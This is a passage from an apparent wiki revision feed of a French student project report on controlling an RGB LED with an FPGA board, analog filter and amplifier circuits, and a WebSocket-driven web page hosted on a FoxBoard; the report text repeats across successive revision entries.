Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur. &lt;br /&gt;
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.&lt;br /&gt;
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait &amp;quot;retarder&amp;quot; l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.&lt;br /&gt;
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.&lt;br /&gt;
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard. &lt;br /&gt;
&lt;br /&gt;
===Prise en main :=== &lt;br /&gt;
&lt;br /&gt;
Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.  &lt;br /&gt;
&lt;br /&gt;
Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un &amp;quot;&amp;amp;&amp;quot; pour qu'il s'exécute en continu.&lt;br /&gt;
&lt;br /&gt;
On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.&lt;br /&gt;
&lt;br /&gt;
Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:&lt;br /&gt;
&lt;br /&gt;
= Séances supplémentaires =&lt;br /&gt;
&lt;br /&gt;
N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.&lt;br /&gt;
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.&lt;br /&gt;
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le &amp;quot;DIGITAL I/O&amp;quot; car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.&lt;br /&gt;
&lt;br /&gt;
Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme &amp;quot;clock fpga&amp;quot;. En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière. &lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande. &lt;br /&gt;
&lt;br /&gt;
Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.&lt;br /&gt;
&lt;br /&gt;
(A compléter ...)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]&lt;br /&gt;
&lt;br /&gt;
= Conclusion =&lt;br /&gt;
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.&lt;br /&gt;
&lt;br /&gt;
Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.&lt;br /&gt;
&lt;br /&gt;
La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.&lt;br /&gt;
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.&lt;br /&gt;
&lt;br /&gt;
La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.&lt;br /&gt;
&lt;br /&gt;
Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble. &lt;br /&gt;
&lt;br /&gt;
Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.&lt;br /&gt;
&lt;br /&gt;
Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20094</id>
		<title>Gestion de LED RVB, 2014/2015, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20094"/>
				<updated>2015-04-16T13:18:34Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie informatique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties : &lt;br /&gt;
&lt;br /&gt;
*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.&lt;br /&gt;
&lt;br /&gt;
*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.&lt;br /&gt;
&lt;br /&gt;
= Première séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.&lt;br /&gt;
Suite à cela, nous avons commencé à réaliser le schéma du montage.&lt;br /&gt;
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.&lt;br /&gt;
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.&lt;br /&gt;
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi  d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps &amp;quot;haut&amp;quot; divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme. &lt;br /&gt;
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED. &lt;br /&gt;
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.&lt;br /&gt;
&lt;br /&gt;
Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.&lt;br /&gt;
&lt;br /&gt;
= Deuxième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.&lt;br /&gt;
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.&lt;br /&gt;
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.&lt;br /&gt;
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.&lt;br /&gt;
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]&lt;br /&gt;
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.&lt;br /&gt;
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]] &lt;br /&gt;
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.&lt;br /&gt;
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.&lt;br /&gt;
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.&lt;br /&gt;
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille. &lt;br /&gt;
&lt;br /&gt;
Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]] &lt;br /&gt;
[[Fichier:photoled.JPG|450px|thumb|center|Photo LED]]&lt;br /&gt;
&lt;br /&gt;
= Troisième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.&lt;br /&gt;
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type: &lt;br /&gt;
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]&lt;br /&gt;
&lt;br /&gt;
avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;math&amp;gt;Vs= Ve * (1+ \frac{R1}{R2})&amp;lt;/math&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Ainsi il faut prendre 2 résistances R1 et R2 identiques. &lt;br /&gt;
Notre montage est donc simplifié.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.&lt;br /&gt;
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur. &lt;br /&gt;
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.&lt;br /&gt;
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait &amp;quot;retarder&amp;quot; l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.&lt;br /&gt;
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.&lt;br /&gt;
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard. &lt;br /&gt;
&lt;br /&gt;
===Prise en main :=== &lt;br /&gt;
&lt;br /&gt;
Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.  &lt;br /&gt;
&lt;br /&gt;
Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un &amp;quot;&amp;amp;&amp;quot; pour qu'il s'exécute en continu.&lt;br /&gt;
&lt;br /&gt;
On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.&lt;br /&gt;
&lt;br /&gt;
Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:&lt;br /&gt;
&lt;br /&gt;
= Séances supplémentaires =&lt;br /&gt;
&lt;br /&gt;
N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.&lt;br /&gt;
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.&lt;br /&gt;
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le &amp;quot;DIGITAL I/O&amp;quot; car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.&lt;br /&gt;
&lt;br /&gt;
Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme &amp;quot;clock fpga&amp;quot;. En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière. &lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande. &lt;br /&gt;
&lt;br /&gt;
Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.&lt;br /&gt;
&lt;br /&gt;
(A compléter ...)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]&lt;br /&gt;
&lt;br /&gt;
= Conclusion =&lt;br /&gt;
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.&lt;br /&gt;
&lt;br /&gt;
Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.&lt;br /&gt;
&lt;br /&gt;
La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.&lt;br /&gt;
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.&lt;br /&gt;
&lt;br /&gt;
La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.&lt;br /&gt;
&lt;br /&gt;
Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble. &lt;br /&gt;
&lt;br /&gt;
Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.&lt;br /&gt;
&lt;br /&gt;
Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20093</id>
		<title>Gestion de LED RVB, 2014/2015, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20093"/>
